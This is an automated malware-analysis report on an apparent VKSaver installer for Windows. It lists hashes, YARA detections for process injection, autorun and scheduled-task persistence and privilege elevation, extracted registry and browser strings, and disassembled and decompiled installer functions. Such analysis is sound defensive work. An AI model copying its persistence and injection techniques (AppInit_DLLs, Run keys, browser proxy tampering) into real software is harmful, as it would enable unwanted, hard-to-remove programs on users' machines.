File Information hashes and primary classification
File name
9aa75f19e736a06e7e1fa06f3ebff4caf14012add6f0d3624056e5278b083739
File size
654.0 KiB
Architecture
X86
MD5
cdd60d7161a5e773cda017aa193e2b08
SHA1
024be88052355f54b0c9797816a58b848f7f1373
SHA256
9aa75f19e736a06e7e1fa06f3ebff4caf14012add6f0d3624056e5278b083739
TLSH
T124e4cf09e1816898fd45f7714cb0281da0aade323afdaf1fd36d7071e2b43d12625a5e
Imphash
dca75897b2be15edc85c9566e029a0c2
Rich header
6905f8c2c8f6182cccccda14862948af
Metadata parser-extracted fields
YARA Signatures 8 matching rules

Type.UNCOMMON

evasion
ProcessInjectionTargets
fingerprint
FingerprintSoftware
EnumerateProcesses
persistence
CreateScheduledTask
AutorunKey
lateral movement
ElevatePrivileges
RunShell

Type.INFO

compiler
MSVC_2012_linker
Kesakode similarity verdict
Conficker
0.7%
Tidepool
0.7%
2 malware hits 0 library hits 308 clean hits
Anomalies signals worth reviewing
entropy: BigBufferNoXrefMediumToHighEntropy
code: ManyHighValueImmediates ManyUniqueImmediateBytes SpaghettiFunction StackArrayInitialisationX86 XorInLoop
integrity: NoChecksum
sections: SectionMostlyVirtual UnbalancedVirtualPhysicalRatio
Constants identified constants and patterns
crypto: Rijndael_rcon__32_lil_40 1 Rijndael_Td0__0x51f4a750U___32_lil_1024 1 Rijndael_Td1__0x5051f4a7U___32_lil_1024 1 Rijndael_Td2__0xa75051f4U___32_lil_1024 1 Rijndael_Td3__0xf4a75051U___32_lil_1024 1 Rijndael_Td4__0x52525252U___32_lil_1024 1 Rijndael_Te0__0xc66363a5U___32_lil_1024 1 Rijndael_Te1__0xa5c66363U___32_lil_1024 1 Rijndael_Te2__0x63a5c663U___32_lil_1024 1 Rijndael_Te3__0x6363a5c6U___32_lil_1024 1 Rijndael_Te4__0x63636363U___32_lil_1024 1
guid: IPersistFile 2 IBootTrigger 1 IExecAction 1 ILogonTrigger 1 IShellLinkW 1 ITaskService 1
registry: HKEY_LOCAL_MACHINE 8 HKEY_CURRENT_USER 1
runtime: msvc_date 1 msvc_domain_error 1 msvc_locale 1 msvc_name_unknown 1 msvc_r6002 1 msvc_r6008 1 msvc_r6009 1 msvc_r6010 1 msvc_r6016 1 msvc_r6017 1 msvc_r6018 1 msvc_r6019 1 msvc_r6024 1 msvc_r6025 1 msvc_r6026 1 msvc_r6027 1 msvc_r6028 1 msvc_r6031 1 msvc_r6032 1 msvc_r6033 1 msvc_r6034 1 msvc_rl 1 msvc_sing_error 1 msvc_tloss_error 1
Strings highest-value extracted strings
Kesakode
8435
Malware 2 Library 0 Unknown 8167 Clean 266
AddressStringRefsEncodingScore
0x46B340 SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VKSaver 1 UTF16 255
0x46B288 SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1 UTF16 255
0x46B3E8 Software\Microsoft\Windows\CurrentVersion\Run 1 UTF16 255
0x46D4F0 explorer.exe 1 UTF16 236
0x46B058 iexplore.exe 2 UTF16 225
0x46B628 SeDebugPrivilege 3 UTF16 208
0x46AF40 DisplayName 1 UTF16 205
0x46AEB8 Software\Microsoft\Windows\CurrentVersion\Uninstall\VKSaver 1 UTF16 196
0x46AD18 Mb=Lk 1 ASCII 190
0x46D3E8 http://legal.yandex.ru/desktop_software_agreement/ 1 UTF16 189
0x46B1C8 SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows 1 UTF16 188
0x46D450 http://legal.yandex.ru/browser_agreement/ 1 UTF16 181
0x46AE20 %s\Opera\Opera\operaprefs.ini 1 UTF16 176
0x46D3A8 http://www.audiovkontakte.ru/ 1 UTF16 172
0x46AE5C Software\Opera Software 1 UTF16 170
0x46D1A0 --partner vksaver-elements --distr /quiet /msicl " 1 UTF16 169
0x46D16C http://audiovkontakte.ru 1 UTF16 167
0x46D4DC ntdll.dll 1 UTF16 162
0x46C988 \downloader.exe 1 UTF16 159
0x46B50C Uninstall.lnk 1 UTF16 159
0x46B5B0 vkontakte.ru .vkontakte.ru *.vkontakte.ru vk.com .vk.com *.vk.com audiovkontakte.ru v.audiovkontakte.ru 1 ASCII 155
0x46D538 totalcmd64.exe 1 UTF16 154
0x46D770 \vksaver3.dll 1 UTF16 154
0x46C960 http://vk.com 1 UTF16 154
0x46D51C totalcmd.exe 1 UTF16 154
0x46D4A4 riched20.dll 1 UTF16 154
0x46D70C vksaver3.dll 1 UTF16 154
0x46B0E8 maxthon.exe 1 UTF16 154
0x40EA50 mscoree.dll 1 UTF16 154
0x46D728 VKSaver.exe 1 UTF16 154
0x46D758 readme.txt 1 UTF16 154
0x46B484 Launch VKSaver.lnk 1 UTF16 153
0x46ADB4 SOFTWARE\Microsoft\Cryptography 1 ASCII 152
0x46B074 firefox.exe 2 UTF16 152
0x46B564 \operaprefs_fixed.ini 1 ASCII 152
0x46B684 Microsoft Internet Explorer 1 UTF16 150
0x46B4D0 Readme.lnk 1 UTF16 150
0x46D50C far.exe 1 UTF16 150
0x46B64C vksaver.exe 2 UTF16 149
0x46B0D0 browser.exe 3 UTF16 149
0x46B444 \VKSaver.lnk 1 UTF16 148
0x46B460 VKSaver.lnk 1 UTF16 147
0x46B0B8 safari.exe 2 UTF16 146
0x46B0A0 chrome.exe 2 UTF16 146
0x46D740 config.dat 1 UTF16 146
0x46B08C opera.exe 2 UTF16 146
0x40F414 Runtime Error!\n\nProgram: 1 UTF16 144
0x46B304 SOFTWARE\VKSaver 2 UTF16 144
0x46E4CC CreateToolhelp32Snapshot 0 ASCII 144
0x46AF9C UninstallString 1 UTF16 143
0x411DFC USER32.DLL 2 UTF16 142
0x46B190 NT AUTHORITY\SYSTEM 1 UTF16 141
0x46D12C msctls_progress32 1 UTF16 141
0x46B120 AudioVkontakte.ru 1 UTF16 141
0x46D558 vksaver-install 1 UTF16 141
0x40E53C GetLogicalProcessorInformation 1 ASCII 140
0x46AE8C Last CommandLine v2 1 UTF16 139
0x40E520 GetCurrentProcessorNumber 1 ASCII 139
0x40E570 SetDefaultDllDirectories 1 ASCII 139
0x40E46C WaitForThreadpoolTimerCallbacks 1 ASCII 138
0x46B2E4 VKSaverUpdater 1 UTF16 138
0x40E3F8 InitializeCriticalSectionEx 1 ASCII 138
0x40E428 SetThreadStackGuarantee 1 ASCII 138
0x46B618 -popup 1 UTF16 138
0x40E500 FreeLibraryWhenCallbackReturns 1 ASCII 137
0x46AF7C "%s" -uninstall 1 UTF16 136
0x46B010 DisplayVersion 1 UTF16 136
0x46D150 SysListView32 1 UTF16 136
0x40E4E4 FlushProcessWriteBuffers 1 ASCII 136
0x46E85C AdjustTokenPrivileges 0 ASCII 136
0x46ADF8 VKSaverInstallerMtx 3 UTF16 135
0x46D580 audiovkontakte.ru 2 UTF16 135
0x411E60 GetProcessWindowStation 1 ASCII 135
0x40E440 CreateThreadpoolTimer 1 ASCII 135
0x46B528 -uninstall 1 UTF16 135
0x46EA48 ShellExecuteW 0 ASCII 135
0x40E5E0 GetUserDefaultLocaleName 1 ASCII 134
0x46D4C0 NtQuerySystemInformation 1 ASCII 134
0x40E4A4 CreateThreadpoolWait 1 ASCII 134
0x40E48C CloseThreadpoolTimer 1 ASCII 134
0x46B044 %s_%u.tmp 2 UTF16 134
0x46B664 - Apple Safari 1 UTF16 133
0x46D21C YAHOMEPAGE=y 1 UTF16 133
0x46D2C4 YBSENDSTAT=n 1 UTF16 133
0x46D2A8 YBSENDSTAT=y 1 UTF16 133
0x46D238 YAHOMEPAGE=n 1 UTF16 133
0x411E44 GetUserObjectInformationW 1 ASCII 133
0x46AFF8 %d.%d.%d.%d 1 UTF16 133
0x46B030 %s%u.tmp 2 UTF16 133
0x46E4A8 Process32NextW 0 ASCII 133
0x46B328 Install_Dir 1 UTF16 132
0x46CA38 RichEdit20W 1 UTF16 132
0x46D78C -vk2kill 1 UTF16 132
0x46C9B8 Static 1 UTF16 132
0x46ADD4 VKSaverInstallWnd 3 UTF16 131
0x46B264 LoadAppInit_DLLs 2 UTF16 131
0x46B104 -autoupdate 2 UTF16 131
0x40E458 SetThreadpoolTimer 1 ASCII 131
0x40E414 CreateSemaphoreExW 1 ASCII 131
0x46CE1E <a href="http://legal.yandex.ru/desktop_software_agreement/"> 0 UTF16 130
0x40E620 GetCurrentPackageId 1 ASCII 130
0x40E4D0 CloseThreadpoolWait 1 ASCII 130
0x46D2E0 YABROWSER=n 1 UTF16 129
0x46D270 YAQSEARCH=n 1 UTF16 129
0x46D254 YAQSEARCH=y 1 UTF16 129
0x46D28C YABROWSER=y 1 UTF16 129
0x46AF64 DisplayIcon 1 UTF16 129
0x46D7A0 -newupdate 1 UTF16 129
0x411E30 GetLastActivePopup 1 ASCII 129
0x40E4BC SetThreadpoolWait 1 ASCII 129
0x40E5FC IsValidLocaleName 1 ASCII 129
0x40E5B0 GetDateFormatEx 1 ASCII 129
0x46FD84 VKSaverUpdate 4 UTF16 128
0x46B6DC Opera browser 3 UTF16 128
0x46B6F8 Google Chrome 3 UTF16 128
0x46B234 AppInit_DLLs 3 UTF16 128
0x40E58C EnumSystemLocalesEx 1 ASCII 128
0x46D208 ILIGHT=1 1 UTF16 128
0x46AFE4 Publisher 1 UTF16 128
0x40E3D8 FlsFree 1 ASCII 128
0x40E5D0 GetTimeFormatEx 1 ASCII 127
0x411E20 GetActiveWindow 1 ASCII 127
0x40EA68 CorExitProcess 1 ASCII 127
0x40E3CC FlsAlloc 1 ASCII 127
0x46B6BC Mozilla Firefox 2 UTF16 126
0x46B750 Maxthon browser 3 UTF16 126
0x411E78 CONOUT$ 1 UTF16 126
0x46B730 Yandex browser 3 UTF16 125
0x40E55C CreateSymbolicLinkW 1 ASCII 125
0x46B59C vkontakte.ru 1 ASCII 125
0x40E3E0 FlsGetValue 1 ASCII 125
0x40E3EC FlsSetValue 1 ASCII 125
0x411E14 MessageBoxW 1 ASCII 125
0x46B1B8 runas 1 UTF16 125
0x46C94C open 1 UTF16 125
0x46C97C %x%x 1 UTF16 125
0x46B714 Apple Safari 3 UTF16 124
0x40E5C0 GetLocaleInfoEx 1 ASCII 124
0x46B254 vksaver 2 UTF16 124
0x46C9E8 Button 18 UTF16 124
0x46C9A8 Tahoma 3 UTF16 124
0x46D088 <a href="http://legal.yandex.ru/browser_agreement/"> 0 UTF16 122
0x46B57C Opera Turbo bypass URLs 2 ASCII 122
0x40E5A0 CompareStringEx 1 ASCII 122
0x46ADA8 MachineGuid 1 ASCII 122
0x46B3C0 \VKSaver 2 UTF16 119
0x46FDA0 VKSaver 2 UTF16 119
0x46CED0 SysLink 2 UTF16 119
0x46AF30 VKSaver 3 UTF16 119
0x46B3D4 "%s" %s 2 UTF16 119
0x40E610 LCMapStringEx 1 ASCII 119
0x4E54E3 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>\r\n<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifes... 0 ASCII 118
0x46E018 KERNEL32.DLL 1 ASCII 118
0x46B478 %s\%s 4 UTF16 117
0x40E65C ko-KR 3 UTF16 117
0x46CA2C Arial 3 UTF16 117
0x46AF58 "%s" 2 UTF16 117
0x46E060 PSAPI.DLL 1 ASCII 116
0x46E049 ole32.dll 1 ASCII 116
0x46E025 ADVAPI32.dll 1 ASCII 115
0x46E032 COMCTL32.dll 1 ASCII 115
0x46E06A SHELL32.dll 1 ASCII 115
0x46E08D WS2_32.dll 1 ASCII 115
0x46E053 OLEAUT32.dll 1 ASCII 112
0x46E081 VERSION.dll 1 ASCII 112
0x46E076 USER32.dll 1 ASCII 112
0x46E03F GDI32.dll 1 ASCII 112
0x40F87A h(((( H 2 UTF16 111
0x40F2E0 runtime error 1 UTF16 110
0x40E668 zh-TW 3 UTF16 110
0x40E650 zh-CN 3 UTF16 110
0x46B594 Proxy 2 ASCII 109
0x411298 sr-SP-Cyrl 1 UTF16 107
0x41141C sr-BA-Cyrl 1 UTF16 107
0x410F48 et-EE 1 UTF16 104
0x4114DC en-TT 1 UTF16 104
0x4111BC nn-NO 1 UTF16 104
0x411038 kk-KZ 1 UTF16 104
0x411074 tt-RU 1 UTF16 104
0x4111D4 sr-SP-Latn 1 UTF16 103
0x411378 bs-BA-Latn 1 UTF16 103
0x4113D0 sr-BA-Latn 1 UTF16 103
0x410F90 az-AZ-Latn 1 UTF16 103
0x411468 sms-FI 1 UTF16 103
0x411110 kok-IN 1 UTF16 103
0x46D8F8 C:\_dev\vksaver\BuildOutput\vksaver-install.pdb 0 ASCII 101
0x4111F8 az-AZ-Cyrl 1 UTF16 100
0x41105C uz-UZ-Latn 1 UTF16 100
0x411228 uz-UZ-Cyrl 1 UTF16 100
0x4D8031 @JJ7?4@?Q@00474@4K?Q@??J@+@@0@@@X0-?J-?Q@70@@-?@@4@?4Q4@J74Q?,K?0Q-0@4?0@0@@@?@7?4@?050????05??0???J???0????0?0?0????... 0 ASCII 97
0x4D892A "<D///>//D/>>DD//////D>//>D//D>D/>>D//////D>D>//DD>>D///>/D>/D>//D>///>D/D>////D>D>/D//D///D>//D//PTlm")?>D///D///>D>... 0 ASCII 97
0x4C9AAC o<<<<<<E<<<<<<<<<<<P&:<<<<<<<E<<E<E<E<<<<<E<<<<<<<<<<<<<<5/3P5<<<<<<<<<<<<<<<<<<<<<<<E<E<E<E<<<<E<<<P)1:5<<<<<<<<3CP<... 0 ASCII 97
0x40F3B6 @R6002\r\n- floating point support not loaded\r\n 0 UTF16 97
0x411390 smj-SE 1 UTF16 97
0x4113E8 sma-NO 1 UTF16 97
0x411434 sma-SE 1 UTF16 97
0x41149C smn-FI 1 UTF16 97
0x411320 smj-NO 1 UTF16 97
0x411120 syr-SY 1 UTF16 97
0x411130 div-MV 1 UTF16 97
0x4114AC ar-SY 1 UTF16 97
0x410E1C de-DE 1 UTF16 97
0x410E28 el-GR 1 UTF16 97
0x410E34 fi-FI 1 UTF16 97
0x410E40 fr-FR 1 UTF16 97
0x410E4C he-IL 1 UTF16 97
0x410E58 hu-HU 1 UTF16 97
0x410E64 is-IS 1 UTF16 97
0x410E70 it-IT 1 UTF16 97
0x410E7C nl-NL 1 UTF16 97
0x410E88 nb-NO 1 UTF16 97
0x411180 en-GB 1 UTF16 97
0x410E94 pl-PL 1 UTF16 97
0x410EA0 pt-BR 1 UTF16 97
0x410EAC ro-RO 1 UTF16 97
0x4111B0 nl-BE 1 UTF16 97
0x410EB8 ru-RU 1 UTF16 97
0x410EC4 hr-HR 1 UTF16 97
0x4111A4 it-CH 1 UTF16 97
0x410ED0 sk-SK 1 UTF16 97
0x410EDC sq-AL 1 UTF16 97
0x411198 fr-BE 1 UTF16 97
0x410EE8 sv-SE 1 UTF16 97
0x410EF4 th-TH 1 UTF16 97
0x410F00 tr-TR 1 UTF16 97
0x410F0C ur-PK 1 UTF16 97
0x410F18 id-ID 1 UTF16 97
0x410F24 uk-UA 1 UTF16 97
0x410F30 be-BY 1 UTF16 97
0x411008 hi-IN 1 UTF16 97
0x410F3C sl-SI 1 UTF16 97
0x410F54 lv-LV 1 UTF16 97
0x410F60 lt-LT 1 UTF16 97
0x410F6C fa-IR 1 UTF16 97
0x410F78 vi-VN 1 UTF16 97
0x410F84 hy-AM 1 UTF16 97
0x410FA8 eu-ES 1 UTF16 97
0x410FB4 mk-MK 1 UTF16 97
0x410FC0 tn-ZA 1 UTF16 97
0x410FCC xh-ZA 1 UTF16 97
0x410FE4 af-ZA 1 UTF16 97
0x410FF0 ka-GE 1 UTF16 97
0x410FFC fo-FO 1 UTF16 97
0x411014 mt-MT 1 UTF16 97
0x411020 se-NO 1 UTF16 97
0x4113AC en-IE 1 UTF16 97
0x4113B8 es-PA 1 UTF16 97
0x4113C4 fr-MC 1 UTF16 97
0x4113F8 ar-TN 1 UTF16 97
0x411404 en-ZA 1 UTF16 97
0x411410 es-DO 1 UTF16 97
0x41136C fr-LU 1 UTF16 97
0x411444 ar-OM 1 UTF16 97
0x411450 en-JM 1 UTF16 97
0x41145C es-VE 1 UTF16 97
0x4113A0 ar-MA 1 UTF16 97
Functions high-value functions
Kesakode
274
Malware 0 Library 151 Unknown 93 Clean 30
Function listings
0x404DC0 sub_404dc0 str 50 api 49 imm 75 Unknown
sub_404dc0() {
    push         ebp
    mov          ebp, esp
    and          esp, 0xFFFFFFF0
    sub          esp, 0x88
    mov          eax, [0x46F000]
    xor          eax, esp
    mov          [esp+0x84], eax
    mov          ecx, [ebp+0x0C]
    push         esi
    mov          esi, [ebp+0x08]
    push         edi
    mov          edi, [ebp+0x14]
    mov          [esp+0x10], esi
    mov          [esp+0x14], edi
    cmp          ecx, 0x4E
    jnbe         .11
    jz           .6
    mov          eax, ecx
    dec          eax
    jz           .2
    dec          eax
    jz           .1
    sub          eax, 0x0D
    jnz          .12
    lea          eax, [esp+0x48]
    push         eax
    push         esi
    call         [user32.BeginPaint]
    mov          ecx, eax
    call         sub_4042c0()
    lea          eax, [esp+0x48]
    push         eax
    push         esi
    call         [user32.EndPaint]
    push         edi
    push         [ebp+0x10]
    push         0x0F
    push         esi
    call         [user32.DefWindowProcW]
    pop          edi
    pop          esi
    mov          ecx, [esp+0x84]
    xor          ecx, esp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          0x10
.1:
    push         0x00
    call         [user32.PostQuitMessage]
    xor          eax, eax
    pop          edi
    pop          esi
    mov          ecx, [esp+0x84]
    xor          ecx, esp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          0x10
.2:
    push         "Tahoma"
    push         0x00
    push         0x05
    push         0x00
    push         0x00
    push         0x01
    push         0x00
    push         0x00
    push         0x00
    push         0x190
    push         0x00
    push         0x00
    push         0x00
    push         0x0D
    call         [gdi32.CreateFontW]
    push         "Tahoma"
    push         0x00
    push         0x05
    push         0x00
    push         0x00
    push         0x01
    push         0x00
    push         0x00
    push         0x00
    push         0x2BC
    push         0x00
    push         0x00
    push         0x00
    push         0x0D
    mov          [0x4B14A0], eax
    call         [gdi32.CreateFontW]
    push         0x00
    push         [0x4B2010]
    mov          [0x4B14A4], eax
    push         0x00
    push         esi
    push         0x02
    push         0x1C0
    push         0x139
    push         0x18
    push         0x50000000
    push         0x00
    push         "Static"
    push         0x20000
    call         [user32.CreateWindowExW]
    mov          eax, [0x4B1044]
    push         0x00
    cmp          eax, 0xC8
    jnz          .3
    push         [0x4B2010]
    push         0x00
    push         esi
    push         0x18
    push         0xAA
    push         0x148
    push         0xDC
    push         0x50010001
    push         0x46C9C8
    push         "Button"
    push         0x00
    call         [user32.CreateWindowExW]
    push         0x00
    push         [0x4B2010]
    mov          [0x4B1484], eax
    push         0x00
    push         esi
    push         0x18
    push         0x4B
    push         0x148
    push         0x190
    push         0x50010000
    push         0x46C9F8
    push         "Button"
    push         0x00
    call         [user32.CreateWindowExW]
    mov          esi, [user32.SendMessageW]
    push         0x00
    push         [0x4B14A0]
    mov          [0x4B1480], eax
    push         0x30
    push         [0x4B1484]
    call         esi
    push         0x00
    push         [0x4B14A0]
    push         0x30
    push         [0x4B1480]
    call         esi
    mov          esi, [esp+0x10]
    push         edi
    push         [ebp+0x10]
    push         0x01
    push         esi
    call         [user32.DefWindowProcW]
    pop          edi
    pop          esi
    mov          ecx, [esp+0x84]
    xor          ecx, esp
    call         sub_406beb()
    mov          esp, ebp
    pop          ebp
    ret          0x10
.3:
    cmp          eax, 0x64
    jnz          .5
    push         [0x4B2010]
    push         0x00
    push         esi
    push         0x18
    push         eax
    push         0x148
    push         0x122
    push         0x50010001
    push         0x46CA04
    push         "Button"
    push         0x00
    call         [user32.CreateWindowExW]
    push         0x00
    push         [0x4B2010]
    mov          [0x4B1484], eax
    push         0x00
    push         esi
    push         0x18
    push         0x4B
    push         0x148
    push         0x190
    push         0x50010000
    push         0x46CA1C
    push         "Button"
    push         0x00
    call         [user32.CreateWindowExW]
    push         0x40
    push         0x10
    push         0x10
    push         0x01
    push         0x86
    push         [0x4B2010]
    mov          [0x4B1480], eax
    call         [user32.LoadImageW]
    mov          esi, [user32.SendMessageW]
    push         eax
    push         0x01
    push         0xF7
    push         [0x4B1484]
    call         esi
    push         0x00
    push         [0x4B14A0]
    push         0x30
    push         [0x4B1484]
    call         esi
    push         0x00
    push         [0x4B14A0]
    push         0x30
    push         [0x4B1480]
    call         esi
    mov          esi, [esp+0x10]
    push         edi
    push         [ebp+0x10]
    push         0x01
    push         esi
; listing truncated

/* DISPLAY WARNING: Type casts are NOT being printed */

void sub_404dc0(int32_t *param_1,undefined *param_2,undefined4 param_3,int32_t *param_4)

{
    int16_t *piVar1;
    undefined auVar2 [12];
    uint32_t uVar3;
    undefined auVar4 [12];
    code *pcVar5;
    char cVar6;
    undefined4 uVar7;
    int32_t iVar8;
    undefined4 *puVar9;
    undefined4 *puVar10;
    undefined4 uVar11;
    undefined auStack_750 [4];
    undefined auStack_74c [12];
    undefined auStack_740 [12];
    undefined4 uStack_734;
    undefined4 uStack_730;
    undefined4 uStack_72c;
    undefined4 uStack_728;
    undefined4 uStack_724;
    undefined4 uStack_720;
    undefined4 uStack_71c;
    undefined4 uStack_718;
    undefined4 uStack_714;
    undefined4 uStack_710;
    undefined4 uStack_70c;
    uint32_t uStack_708;
    undefined4 uStack_704;
    undefined4 uStack_700;
    undefined4 uStack_6fc;
    undefined4 uStack_6f8;
    undefined4 uStack_6f4;
    undefined4 uStack_6f0;
    undefined4 uStack_6ec;
    undefined4 uStack_6e8;
    undefined4 uStack_6e4;
    undefined4 uStack_6e0;
    undefined4 uStack_6dc;
    undefined4 uStack_6d8;
    undefined4 uStack_6d4;
    undefined4 uStack_6d0;
    undefined4 uStack_6cc;
    undefined4 uStack_6c8;
    undefined4 uStack_6c4;
    undefined4 uStack_6c0;
    undefined4 uStack_6bc;
    undefined4 uStack_6b8;
    undefined4 uStack_6b4;
    undefined4 uStack_6b0;
    undefined4 uStack_6ac;
    undefined4 uStack_6a8;
    undefined4 uStack_6a4;
    undefined4 uStack_6a0;
    undefined4 uStack_69c;
    undefined4 uStack_698;
    undefined4 uStack_694;
    undefined4 uStack_690;
    undefined4 uStack_68c;
    undefined4 uStack_688;
    undefined4 uStack_684;
    undefined4 uStack_680;
    undefined4 uStack_67c;
    undefined4 uStack_678;
    undefined4 uStack_674;
    undefined4 uStack_670;
    undefined4 uStack_66c;
    undefined4 uStack_668;
    undefined4 uStack_664;
    undefined4 uStack_660;
    undefined4 uStack_65c;
    undefined4 uStack_658;
    undefined4 uStack_654;
    undefined4 uStack_650;
    undefined4 uStack_64c;
    uint32_t uStack_648;
    undefined4 uStack_644;
    undefined4 uStack_640;
    undefined4 uStack_63c;
    undefined4 uStack_638;
    undefined4 uStack_634;
    undefined4 uStack_630;
    undefined4 uStack_62c;
    undefined4 uStack_628;
    undefined4 uStack_624;
    undefined4 uStack_620;
    undefined4 uStack_61c;
    uint32_t uStack_618;
    undefined4 uStack_614;
    undefined4 uStack_610;
    undefined4 uStack_60c;
    undefined4 uStack_608;
    undefined4 uStack_604;
    undefined4 uStack_600;
    undefined4 uStack_5fc;
    undefined4 uStack_5f8;
    undefined4 uStack_5f4;
    undefined4 uStack_5f0;
    undefined4 uStack_5ec;
    uint32_t uStack_5e8;
    undefined4 uStack_5e4;
    undefined4 uStack_5e0;
    undefined4 uStack_5dc;
    undefined4 uStack_5d8;
    undefined4 uStack_5d4;
    undefined4 uStack_5d0;
    undefined4 uStack_5cc;
    undefined4 uStack_5c8;
    undefined4 uStack_5c4;
    undefined4 uStack_5c0;
    undefined4 uStack_5bc;
    undefined4 uStack_5b8;
    undefined4 uStack_5b4;
    undefined4 uStack_5b0;
    undefined4 uStack_5ac;
    undefined4 uStack_5a8;
    undefined4 uStack_5a4;
    undefined4 uStack_5a0;
    undefined4 uStack_59c;
    undefined4 uStack_598;
    undefined4 uStack_594;
    undefined4 uStack_590;
    undefined4 uStack_58c;
    undefined4 uStack_588;
    undefined4 uStack_584;
    undefined4 uStack_580;
    undefined4 uStack_57c;
    undefined4 uStack_578;
    undefined4 uStack_574;
    undefined4 uStack_570;
    undefined4 uStack_56c;
    undefined4 uStack_568;
    undefined4 uStack_564;
    undefined4 uStack_560;
    undefined4 uStack_55c;
    uint32_t uStack_558;
    undefined4 uStack_554;
    undefined4 uStack_550;
    undefined4 uStack_54c;
    undefined4 uStack_548;
    undefined4 uStack_544;
    undefined4 uStack_540;
    undefined4 uStack_53c;
    undefined4 uStack_538;
    undefined4 uStack_534;
    undefined4 uStack_530;
    undefined4 uStack_52c;
    uint32_t uStack_528;
    undefined4 uStack_524;
    undefined4 uStack_520;
    undefined4 uStack_51c;
    undefined4 uStack_518;
    undefined4 uStack_514;
    undefined4 uStack_510;
    undefined4 uStack_50c;
    undefined4 uStack_508;
    undefined4 uStack_504;
    undefined4 uStack_500;
    undefined4 uStack_4fc;
    uint32_t uStack_4f8;
    undefined4 uStack_4f4;
    undefined4 uStack_4f0;
    undefined4 uStack_4ec;
    undefined4 uStack_4e8;
    undefined4 uStack_4e4;
    undefined4 uStack_4e0;
    undefined4 uStack_4dc;
    undefined4 uStack_4d8;
    undefined4 uStack_4d4;
    undefined4 uStack_4d0;
    undefined4 uStack_4cc;
    uint32_t uStack_4c8;
    undefined4 uStack_4c4;
    undefined4 uStack_4c0;
    undefined4 uStack_4bc;
    undefined4 uStack_4b8;
    undefined4 uStack_4b4;
    undefined4 uStack_4b0;
    undefined4 uStack_4ac;
    undefined4 uStack_4a8;
    undefined4 uStack_4a4;
    undefined4 uStack_4a0;
    undefined4 uStack_49c;
    uint32_t uStack_498;
    undefined4 uStack_494;
    undefined4 uStack_490;
    undefined4 uStack_48c;
    undefined4 uStack_488;
    undefined4 uStack_484;
    undefined4 uStack_480;
    undefined4 uStack_47c;
    undefined4 uStack_478;
    undefined4 uStack_474;
    undefined4 uStack_470;
    undefined4 uStack_46c;
    uint32_t uStack_468;
    undefined4 uStack_464;
    undefined4 uStack_460;
    undefined4 uStack_45c;
    undefined4 uStack_458;
    undefined4 uStack_454;
    undefined4 uStack_450;
    undefined4 uStack_44c;
    undefined4 uStack_448;
    undefined4 uStack_444;
    undefined4 uStack_440;
    undefined4 uStack_43c;
    undefined4 uStack_438;
    undefined4 uStack_434;
    undefined4 uStack_430;
    undefined4 uStack_42c;
    undefined4 uStack_428;
    undefined4 uStack_424;
    undefined4 uStack_420;
    undefined4 uStack_41c;
    undefined4 uStack_418;
/* listing truncated */
0x403580 sub_403580 str 25 api 4 imm 17 Unknown
sub_403580() {
    push         ebp
    mov          ebp, esp
    mov          eax, 0x5048
    call         __alloca_probe()
    mov          eax, [0x46F000]
    xor          eax, ebp
    mov          [ebp-0x04], eax
    push         ebx
    push         esi
    mov          ebx, ecx
    lea          eax, [ebp-0x500C]
    push         edi
    push         eax
    lea          edx, [ebp-0x1004]
    lea          ecx, [ebp-0x5004]
    mov          [ebp-0x5008], ebx
    mov          dword ptr [ebp-0x500C], 0x00
    mov          dword ptr [0x4B1040], 0x00
    call         sub_401740()
    mov          esi, eax
    add          esp, 0x04
    mov          [ebp-0x5010], esi
    test         esi, esi
    jz           .27
    push         0x00
    push         sub_403320()
    mov          dword ptr [0x4A103C], 0x00
    call         [user32.EnumWindows]
    xor          ebx, ebx
    cmp          [0x4A103C], ebx
    jle          .10
    jmp          .2
.2:
    lea          eax, [ebp-0x5014]
    push         eax
    push         [ebx*4+0x4A1040]
    call         [user32.GetWindowThreadProcessId]
    mov          edx, [ebp-0x5014]
    mov          ecx, esi
    lea          eax, [ebp-0x5004]
    xor          esi, esi
.3:
    cmp          [eax], edx
    jz           .6
    inc          esi
    add          eax, 0x04
    dec          ecx
    jnz          .3
.4:
    mov          edx, [0x4B1040]
.5:
    mov          esi, [ebp-0x5010]
    inc          ebx
    cmp          ebx, [0x4A103C]
    jl           .2
    jmp          .11
.6:
    test         esi, esi
    js           .4
    push         0xFFFFFFF0
    push         [ebx*4+0x4A1040]
    call         [user32.GetWindowLongW]
    test         eax, 0x10000000
    jz           .4
    mov          eax, [0x4B1040]
    shl          eax, 0x09
    push         0xFF
    add          eax, 0x471038
    push         eax
    push         [ebx*4+0x4A1040]
    call         [user32.GetWindowTextW]
    mov          edx, [0x4B1040]
    mov          eax, edx
    shl          eax, 0x09
    cmp          word ptr [eax+0x471038], 0x00
    lea          edi, [eax+0x471038]
    jz           .9
    cmp          byte ptr [ebp+esi*1-0x1004], 0x10
    jnz          .8
    add          edi, 0xFFFFFFFE
    jmp          .7
.7:
    mov          ax, [edi+0x02]
    add          edi, 0x02
    test         ax, ax
    jnz          .7
    mov          ecx, 0x08
    mov          esi, " - Apple Safari"
    rep movsd        
.8:
    inc          edx
    mov          [0x4B1040], edx
.9:
    cmp          edx, 0xFF
    jnl          .11
    jmp          .5
.10:
    mov          edx, [0x4B1040]
.11:
    test         edx, edx
    jnz          .28
    mov          ebx, [ebp-0x500C]
    test         bl, 0x01
    jz           .13
    xor          ecx, ecx
    jmp          .12
.12:
    movzx        eax, word ptr [ecx+"Microsoft Internet Explorer"]
    mov          [ecx+0x471038], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .12
    mov          edx, 0x01
    mov          [0x4B1040], edx
.13:
    test         bl, 0x02
    jz           .15
    mov          eax, edx
    mov          ecx, "Mozilla Firefox"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    jmp          .14
.14:
    movzx        eax, word ptr [ecx]
    mov          [esi+ecx*1], ax
    lea          ecx, [ecx+0x02]
    test         ax, ax
    jnz          .14
    inc          edx
    mov          [0x4B1040], edx
.15:
    test         bl, 0x04
    jz           .17
    mov          eax, edx
    mov          ecx, "Opera browser"
    shl          eax, 0x09
    sub          eax, ecx
    lea          esi, [eax+0x471038]
    lea          ecx, [ecx]
.16:
